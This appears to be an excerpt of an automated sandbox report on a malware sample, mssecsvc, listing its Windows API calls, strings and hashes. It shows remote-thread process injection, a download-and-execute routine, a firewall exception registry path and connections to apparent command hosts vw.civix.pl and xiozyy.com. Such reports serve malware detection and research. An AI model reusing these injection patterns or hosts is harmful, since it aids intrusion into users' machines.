                    • ADVAPI32.DLL, xrefs: 7FEA3D5E
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: LibraryLoad$AddressCountInformationProcTickVolume
                    • String ID: ADVAPI32.DLL$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                    • API String ID: 3734769084-3169549896
                    • Opcode ID: 6ab2b3c950b056d37b1ed1d631e5db56a4483ae6f253cbb068636a664c233e13
                    • Instruction ID: 04a7c8116a9fb35f71bbffa2808c6274a5c5ffd0f068440cbef2dd7623ef1827
                    • Opcode Fuzzy Hash: 6ab2b3c950b056d37b1ed1d631e5db56a4483ae6f253cbb068636a664c233e13
                    • Instruction Fuzzy Hash: 9DD10071419348BFEB229F748C4ABFA7BACEF41304F004519E84A9E091DBF66F059765
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C23D36 Relevance: 38.9, APIs: 19, Strings: 3, Instructions: 379libraryCOMMON
                    Download Yara Rule
                    APIs
                    • LoadLibraryA.KERNEL32(00C23D2B), ref: 00C23D36
                      • Part of subcall function 00C23D4B: GetProcAddress.KERNEL32(00000000,00C23D41), ref: 00C23D4C
                      • Part of subcall function 00C23D4B: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00C23D5F
                      • Part of subcall function 00C23D4B: GetTickCount.KERNEL32 ref: 00C23D93
                      • Part of subcall function 00C23D4B: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00C26EF6,00000000,00000000,00000000,00000000), ref: 00C23E65
                    Strings
                    • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00C23F0C
                    • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00C241DA
                    • ADVAPI32.DLL, xrefs: 00C23D5E
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: LibraryLoad$AddressCountInformationProcTickVolume
                    • String ID: ADVAPI32.DLL$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                    • API String ID: 3734769084-3169549896
                    • Opcode ID: 6ab2b3c950b056d37b1ed1d631e5db56a4483ae6f253cbb068636a664c233e13
                    • Instruction ID: 56dcbf11f8ab39c8bda77e6b440a67b10d965e7ac46c2f503db0bceaf8ca2d10
                    • Opcode Fuzzy Hash: 6ab2b3c950b056d37b1ed1d631e5db56a4483ae6f253cbb068636a664c233e13
                    • Instruction Fuzzy Hash: 34D1F1714182A8BFEB25AF64EC0ABEE7BACEF41300F000549EC599E482D6F85F458765
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA3D4B Relevance: 37.1, APIs: 18, Strings: 3, Instructions: 386librarythreadnetworkCOMMON
                    Download Yara Rule
                    APIs
                    • GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                    • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                    • GetTickCount.KERNEL32 ref: 7FEA3D93
                    • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6EF6,00000000,00000000,00000000,00000000), ref: 7FEA3E65
                    • GetModuleFileNameA.KERNEL32(00000000,7FEA6AA2,000000C8), ref: 7FEA3EE2
                    • wsprintfA.USER32 ref: 7FEA3EF7
                    • CreateThread.KERNEL32(00000000,00000000,7FEA3691,00000000,00000000), ref: 7FEA3F40
                    • CloseHandle.KERNEL32(?,E8F37307), ref: 7FEA3F49
                    • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 7FEA3FE9
                    • CloseHandle.KERNEL32(?,00000000), ref: 7FEA3FF2
                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3FFF
                    • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4097
                    • connect.WS2_32(2E777605,7FEA3B09,00000010), ref: 7FEA40B1
                    • GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA40FB
                    • wsprintfA.USER32 ref: 7FEA4179
                    • SetEvent.KERNEL32(00000284,?,00000000), ref: 7FEA42D6
                    • Sleep.KERNEL32(00007530,?,00000000), ref: 7FEA42F7
                    • ResetEvent.KERNEL32(00000284,?,00000000), ref: 7FEA430A
                    Strings
                    • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                    • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                    • ADVAPI32.DLL, xrefs: 7FEA3D5E
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: CreateEvent$CloseHandleThreadwsprintf$AddressCountFileInformationLibraryLoadModuleNameProcResetSleepTickVersionVolumeconnectsocket
                    • String ID: ADVAPI32.DLL$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                    • API String ID: 1567941233-3169549896
                    • Opcode ID: 8f5bda587157e99726d781c634e3378632d432898dcbe4ad85f90d404c80ec81
                    • Instruction ID: 0fd1af5c82e6ac19fee7a4e27b5b7e3d4aaa516ddc9e53bac77035a7f4224d32
                    • Opcode Fuzzy Hash: 8f5bda587157e99726d781c634e3378632d432898dcbe4ad85f90d404c80ec81
                    • Instruction Fuzzy Hash: BBE1EF71419348BFEB229F748C4ABFA7BACEF41304F00465AEC4A9E081D6F66F059761
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C23D4B Relevance: 37.1, APIs: 18, Strings: 3, Instructions: 386librarythreadnetworkCOMMON
                    Download Yara Rule
                    APIs
                    • GetProcAddress.KERNEL32(00000000,00C23D41), ref: 00C23D4C
                    • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00C23D5F
                    • GetTickCount.KERNEL32 ref: 00C23D93
                    • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00C26EF6,00000000,00000000,00000000,00000000), ref: 00C23E65
                    • GetModuleFileNameA.KERNEL32(00000000,00C26AA2,000000C8), ref: 00C23EE2
                    • wsprintfA.USER32 ref: 00C23EF7
                    • CreateThread.KERNEL32(00000000,00000000,00C23691,00000000,00000000), ref: 00C23F40
                    • CloseHandle.KERNEL32(?,E8F37307), ref: 00C23F49
                    • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00C23FE9
                    • CloseHandle.KERNEL32(?,00000000), ref: 00C23FF2
                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00C23FFF
                    • socket.WS2_32(00000002,00000001,00000000), ref: 00C24097
                    • connect.WS2_32(2E777605,00C23B09,00000010), ref: 00C240B1
                    • GetVersionExA.KERNEL32(?,?,00000000), ref: 00C240FB
                    • wsprintfA.USER32 ref: 00C24179
                    • SetEvent.KERNEL32(00000284,?,00000000), ref: 00C242D6
                    • Sleep.KERNEL32(00007530,?,00000000), ref: 00C242F7
                    • ResetEvent.KERNEL32(00000284,?,00000000), ref: 00C2430A
                    Strings
                    • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00C23F0C
                    • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00C241DA
                    • ADVAPI32.DLL, xrefs: 00C23D5E
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: CreateEvent$CloseHandleThreadwsprintf$AddressCountFileInformationLibraryLoadModuleNameProcResetSleepTickVersionVolumeconnectsocket
                    • String ID: ADVAPI32.DLL$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                    • API String ID: 1567941233-3169549896
                    • Opcode ID: 8f5bda587157e99726d781c634e3378632d432898dcbe4ad85f90d404c80ec81
                    • Instruction ID: e62525423f7de8ae2d78c0d25039d6744f35964702cda1aafc491c9e288bd3f0
                    • Opcode Fuzzy Hash: 8f5bda587157e99726d781c634e3378632d432898dcbe4ad85f90d404c80ec81
                    • Instruction Fuzzy Hash: ECE1F1714082A8BFEB25AF64EC0ABEE7BACEF41300F000559EC599E482D6F85F45D765
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA042D Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 290memoryCOMMON
                    Download Yara Rule
                    APIs
                    • GetModuleHandleA.KERNEL32(00000000), ref: 7FEA04BE
                    • GetVersion.KERNEL32 ref: 7FEA0500
                    • VirtualAlloc.KERNEL32(00000000,000077C4,08001000,00000040), ref: 7FEA0528
                    • CloseHandle.KERNEL32(?), ref: 7FEA05AD
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: Handle$AllocCloseModuleVersionVirtual
                    • String ID: \BaseNamedObjects\jjmtVt$\BaseNamedObjects\jjmtVt$csrs
                    • API String ID: 3017432202-1503499647
                    • Opcode ID: a1cca778b9d131ab02a9bab09fad2c470fe9cc8104fb8fd4266929b9c5ae2937
                    • Instruction ID: c0b20e9e9f811a993afd338c3672b4fdc1597f9c8082e3261172caa298ab3840
                    • Opcode Fuzzy Hash: a1cca778b9d131ab02a9bab09fad2c470fe9cc8104fb8fd4266929b9c5ae2937
                    • Instruction Fuzzy Hash: 21B19E71506349FFEB229F24C849BFA3BA9FF45715F100128EA0A9E181C7F29B45CB59
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA05F2 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 193stringnativeprocessCOMMON
                    Download Yara Rule
                    APIs
                    • CloseHandle.KERNEL32(?), ref: 7FEA05AD
                    • GetModuleHandleA.KERNEL32(7FEA05EC), ref: 7FEA05F2
                    • lstrcpyW.KERNEL32(\BaseNamedObjects\jjmtVt,\BaseNamedObjects\jjmtVt), ref: 7FEA070A
                    • lstrcpyW.KERNEL32(\BaseNamedObjects\jjmtVt,?), ref: 7FEA072D
                    • lstrcatW.KERNEL32(\BaseNamedObjects\jjmtVt,\jjmtVt), ref: 7FEA073B
                    • NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,000077C4,00000000,?,00000002,00000000,00000040), ref: 7FEA076B
                    • NtOpenProcessToken.NTDLL(000000FF,00000020), ref: 7FEA0786
                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 7FEA07C9
                    • Process32First.KERNEL32 ref: 7FEA07DC
                    • Process32Next.KERNEL32 ref: 7FEA07ED
                    • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA0805
                    • CreateRemoteThread.KERNEL32(?,00000000,00000000,-00003C38,00000002,00000000), ref: 7FEA0842
                    • CloseHandle.KERNEL32(?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA085D
                    • CloseHandle.KERNEL32 ref: 7FEA086C
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: Handle$Close$CreateOpenProcessProcess32lstrcpy$FirstModuleNextRemoteSectionSnapshotThreadTokenToolhelp32Viewlstrcat
                    • String ID: \BaseNamedObjects\jjmtVt$\BaseNamedObjects\jjmtVt$csrs
                    • API String ID: 1545766225-1503499647
                    • Opcode ID: be34348603cd9b4f73e26e2f06aad3c0d335d27853881731d1d58acdc97de124
                    • Instruction ID: bc69b0140110f3dff0ccaa379bfd4e11a3538b2054131a8ece527cc446208be2
                    • Opcode Fuzzy Hash: be34348603cd9b4f73e26e2f06aad3c0d335d27853881731d1d58acdc97de124
                    • Instruction Fuzzy Hash: CD715D31505205FFEB219F20CC49BBE3BBEEF85725F100068EA0A9E491C7B69F459B59
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA4178 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 192networksleepstringCOMMON
                    Download Yara Rule
                    APIs
                    • lstrlen.KERNEL32(vw.civix.pl,?,00000000), ref: 7FEA4057
                    • gethostbyname.WS2_32(vw.civix.pl), ref: 7FEA4066
                    • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4097
                    • connect.WS2_32(2E777605,7FEA3B09,00000010), ref: 7FEA40B1
                    • GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA40FB
                    • wsprintfA.USER32 ref: 7FEA4179
                    • CreateThread.KERNEL32(00000000,00000000,Function_00003819,2E777605,00000000), ref: 7FEA41B4
                    • CloseHandle.KERNEL32(?,00000000,2E777605,7FEA6AA2,00000000,00000000), ref: 7FEA41BD
                    • GetTickCount.KERNEL32 ref: 7FEA41F6
                    • Sleep.KERNEL32(00000064,?,00000000,2E777605,7FEA6AA2,00000000,00000000), ref: 7FEA428B
                    • GetTickCount.KERNEL32 ref: 7FEA4294
                    • closesocket.WS2_32(2E777605), ref: 7FEA42B8
                    • SetEvent.KERNEL32(00000284,?,00000000), ref: 7FEA42D6
                    • Sleep.KERNEL32(00007530,?,00000000), ref: 7FEA42F7
                    • ResetEvent.KERNEL32(00000284,?,00000000), ref: 7FEA430A
                    Strings
                    • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: CountEventSleepTick$CloseCreateHandleResetThreadVersionclosesocketconnectgethostbynamelstrlensocketwsprintf
                    • String ID: C:\WINDOWS\TASKSCHE.EXE
                    • API String ID: 883794535-3507925353
                    • Opcode ID: 76922eb7f863b4f87123e600b2d48a0325e63692d2b32f1f917fbf14117c4ef4
                    • Instruction ID: 62042b7e1d70db51705c832b3ce7fc9885254b828fc8a61664828cce23236026
                    • Opcode Fuzzy Hash: 76922eb7f863b4f87123e600b2d48a0325e63692d2b32f1f917fbf14117c4ef4
                    • Instruction Fuzzy Hash: AD71EF75508348BAEB229F3488587EEBFAEEF81314F000608E85A9E1D1C7F66F45D761
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C24178 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 192networksleepstringCOMMON
                    Download Yara Rule
                    APIs
                    • lstrlen.KERNEL32(vw.civix.pl,?,00000000), ref: 00C24057
                    • gethostbyname.WS2_32(vw.civix.pl), ref: 00C24066
                    • socket.WS2_32(00000002,00000001,00000000), ref: 00C24097
                    • connect.WS2_32(2E777605,00C23B09,00000010), ref: 00C240B1
                    • GetVersionExA.KERNEL32(?,?,00000000), ref: 00C240FB
                    • wsprintfA.USER32 ref: 00C24179
                    • CreateThread.KERNEL32(00000000,00000000,Function_00003819,2E777605,00000000), ref: 00C241B4
                    • CloseHandle.KERNEL32(?,00000000,2E777605,00C26AA2,00000000,00000000), ref: 00C241BD
                    • GetTickCount.KERNEL32 ref: 00C241F6
                    • Sleep.KERNEL32(00000064,?,00000000,2E777605,00C26AA2,00000000,00000000), ref: 00C2428B
                    • GetTickCount.KERNEL32 ref: 00C24294
                    • closesocket.WS2_32(2E777605), ref: 00C242B8
                    • SetEvent.KERNEL32(00000284,?,00000000), ref: 00C242D6
                    • Sleep.KERNEL32(00007530,?,00000000), ref: 00C242F7
                    • ResetEvent.KERNEL32(00000284,?,00000000), ref: 00C2430A
                    Strings
                    • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00C241DA
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: CountEventSleepTick$CloseCreateHandleResetThreadVersionclosesocketconnectgethostbynamelstrlensocketwsprintf
                    • String ID: C:\WINDOWS\TASKSCHE.EXE
                    • API String ID: 883794535-3507925353
                    • Opcode ID: 76922eb7f863b4f87123e600b2d48a0325e63692d2b32f1f917fbf14117c4ef4
                    • Instruction ID: 05dc255880a3ddc86160ff3da792395ef1449eb76633d622755da4859058393b
                    • Opcode Fuzzy Hash: 76922eb7f863b4f87123e600b2d48a0325e63692d2b32f1f917fbf14117c4ef4
                    • Instruction Fuzzy Hash: 3371EF71508268FBEF399F28981D7AD7FADAF41310F040508E86A9E881C7F45F81DB65
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C2388E Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 127networksleeptimeCOMMON
                    Download Yara Rule
                    APIs
                    • GetSystemTime.KERNEL32(00C27584), ref: 00C2389F
                    • Sleep.KERNEL32(0000EA60), ref: 00C23911
                    • InternetGetConnectedState.WININET(?,00000000), ref: 00C2392A
                    • gethostbyname.WS2_32(0D278125), ref: 00C2396C
                    • socket.WS2_32(00000002,00000001,00000000), ref: 00C23981
                    • ioctlsocket.WS2_32(?,8004667E), ref: 00C2399A
                    • connect.WS2_32(?,?,00000010), ref: 00C239B3
                    • Sleep.KERNEL32(?,00000010,BB010002,00000000,8004667E,?,00000001), ref: 00C239C1
                    • closesocket.WS2_32 ref: 00C23A20
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: Sleep$ConnectedInternetStateSystemTimeclosesocketconnectgethostbynameioctlsocketsocket
                    • String ID: xiozyy.com
                    • API String ID: 159131500-3035807449
                    • Opcode ID: b9cbcd502034ca6391bc477693aeae1c9470f5e239758c46d06d44a479c792e4
                    • Instruction ID: 13c5f4dd9597c3809f41aaa9e2b9d6a4b03d94fd9fde8e86b66be4912d9fbaba
                    • Opcode Fuzzy Hash: b9cbcd502034ca6391bc477693aeae1c9470f5e239758c46d06d44a479c792e4
                    • Instruction Fuzzy Hash: 6941D3316042A8BAEB319F249C4EBA97F9EEF85710F04402AF949DE5C1D7F99F419720
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C227A7 Relevance: 12.1, APIs: 8, Instructions: 65filenetworkprocessCOMMON
                    Download Yara Rule
                    APIs
                    • GetTempFileNameA.KERNEL32(?,00C227A3,00000000,?), ref: 00C227A8
                    • CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,00C227A3,00000000,?), ref: 00C227C3
                    • InternetReadFile.WININET(?,?,00000104), ref: 00C227DD
                    • WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,00C227A3,00000000,?), ref: 00C227F3
                    • CloseHandle.KERNEL32(?,00000104,?,00000000,?,00C227A3,00000000,?), ref: 00C227FF
                    • CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,00C227A3), ref: 00C22823
                    • InternetCloseHandle.WININET(?), ref: 00C22833
                    • InternetCloseHandle.WININET(00000000), ref: 00C2283A
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: File$CloseHandleInternet$Create$NameProcessReadTempWrite
                    • String ID:
                    • API String ID: 3452404049-0
                    • Opcode ID: bbf5c5561a5178fb7ef464295b4b729c13e68fcf671b41c3dcb44b7c67eff673
                    • Instruction ID: d929234ec4e83e731f3ba66f80c96a04b693e88c51fde8e84c150852f10e7634
                    • Opcode Fuzzy Hash: bbf5c5561a5178fb7ef464295b4b729c13e68fcf671b41c3dcb44b7c67eff673
                    • Instruction Fuzzy Hash: 4E116DB1100616BBEB350B20DC4AFFB7A2DEF84B10F004519FA0A99480DBF59F5196A8
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA33E0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 220filenativeCOMMON
                    Download Yara Rule
                    APIs
                    • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 7FEA344A
                    • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 7FEA3469
                    • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 7FEA3493
                    • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 7FEA34A0
                    • UnmapViewOfFile.KERNEL32(?), ref: 7FEA34B8
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                    • String ID: \Device\PhysicalMemory
                    • API String ID: 2985292042-2007344781
                    • Opcode ID: b4d3e096044a212734f125868e85b1e2327fa10042064e7aff92d63e5b5619a7
                    • Instruction ID: 89bc292a39abda77eba81180b1336a71123f95df307fbb064623dea506d6362f
                    • Opcode Fuzzy Hash: b4d3e096044a212734f125868e85b1e2327fa10042064e7aff92d63e5b5619a7
                    • Instruction Fuzzy Hash: 5A817671500208FFEB218F14CC89ABA7BADEF44704F504658ED1A9F295D7F2AF458BA4
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C233E0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 220filenativeCOMMON
                    Download Yara Rule
                    APIs
                    • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 00C2344A
                    • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 00C23469
                    • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 00C23493
                    • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 00C234A0
                    • UnmapViewOfFile.KERNEL32(?), ref: 00C234B8
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                    • String ID: \Device\PhysicalMemory
                    • API String ID: 2985292042-2007344781
                    • Opcode ID: b4d3e096044a212734f125868e85b1e2327fa10042064e7aff92d63e5b5619a7
                    • Instruction ID: bb899722011213c69c1aa5752893a4b52554513449a31edb61b28e435b423679
                    • Opcode Fuzzy Hash: b4d3e096044a212734f125868e85b1e2327fa10042064e7aff92d63e5b5619a7
                    • Instruction Fuzzy Hash: FA819971500218FFEB209F15DC89EAA3BADFF44700F600658FD199B291D3F4AF458A68
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA3405 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61filenativeCOMMON
                    Download Yara Rule
                    APIs
                    • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 7FEA344A
                    • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 7FEA3469
                    • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 7FEA3493
                    • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 7FEA34A0
                    • UnmapViewOfFile.KERNEL32(?), ref: 7FEA34B8
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                    • String ID: ysic
                    • API String ID: 2985292042-20973071
                    • Opcode ID: 75692eae59ef229a2f56f45455e385a3c03fd5a3a941212ab90a82f7e6085517
                    • Instruction ID: 20dbb16ab5d0e33e58175ecc7424444a29ed84bf4ea1b595fcedbc50fe00d084
                    • Opcode Fuzzy Hash: 75692eae59ef229a2f56f45455e385a3c03fd5a3a941212ab90a82f7e6085517
                    • Instruction Fuzzy Hash: D5115B74140608BFEB21CF10CC55FAA7A7DEF88704F50451CEA1A9E290EBF56F188A68
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C23405 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61filenativeCOMMON
                    Download Yara Rule
                    APIs
                    • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 00C2344A
                    • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 00C23469
                    • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 00C23493
                    • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 00C234A0
                    • UnmapViewOfFile.KERNEL32(?), ref: 00C234B8
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                    • String ID: ysic
                    • API String ID: 2985292042-20973071
                    • Opcode ID: 75692eae59ef229a2f56f45455e385a3c03fd5a3a941212ab90a82f7e6085517
                    • Instruction ID: 2eaa958dbc58c2fa5eca7d1d912d0674b2f27a7185582c875ea9b7f2c34d38da
                    • Opcode Fuzzy Hash: 75692eae59ef229a2f56f45455e385a3c03fd5a3a941212ab90a82f7e6085517
                    • Instruction Fuzzy Hash: AD116070140618BBEB24DF15DC55F9A3A7CFF88704F50461CFA199B290D7F86F188658
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C224AE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46stringnativeCOMMON
                    Download Yara Rule
                    APIs
                    • lstrcpyW.KERNEL32(?,\BaseNamedObjects\jjmtVt), ref: 00C224BA
                    • lstrlenW.KERNEL32(?), ref: 00C224C1
                    • __common_dcos_data.LIBCMT ref: 00C224E5
                    • NtCreateSection.NTDLL(?,0000000E,?,?,00000040,08000000,00000000), ref: 00C22516
                    Strings
                    • \BaseNamedObjects\jjmtVt, xrefs: 00C224B8
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: CreateSection__common_dcos_datalstrcpylstrlen
                    • String ID: \BaseNamedObjects\jjmtVt
                    • API String ID: 962011542-15295260
                    • Opcode ID: 9c1fe93cd82417fd82d7df84182f6222112578ab7725835b546e1efebb782258
                    • Instruction ID: 16f4a80baa191f30fc64b5f478d4c309d8b0b03da932a3f649940d8eacfb1cc3
                    • Opcode Fuzzy Hash: 9c1fe93cd82417fd82d7df84182f6222112578ab7725835b546e1efebb782258
                    • Instruction Fuzzy Hash: E90181B0781304BAF7309B29CC4BF5B7929DF81B50F508558F608AE1C4DAB89A0483A9
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA4C9E Relevance: 8.4, Strings: 6, Instructions: 887COMMON
                    Download Yara Rule
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: File$AttributesCreate$MappingView
                    • String ID: !$&$&$($@$nr
                    • API String ID: 1961427682-1764398444
                    • Opcode ID: dad7cbcaab426d6c0f3c4584b723313352d30526a1fe5ef49ea324b79f5cf1af
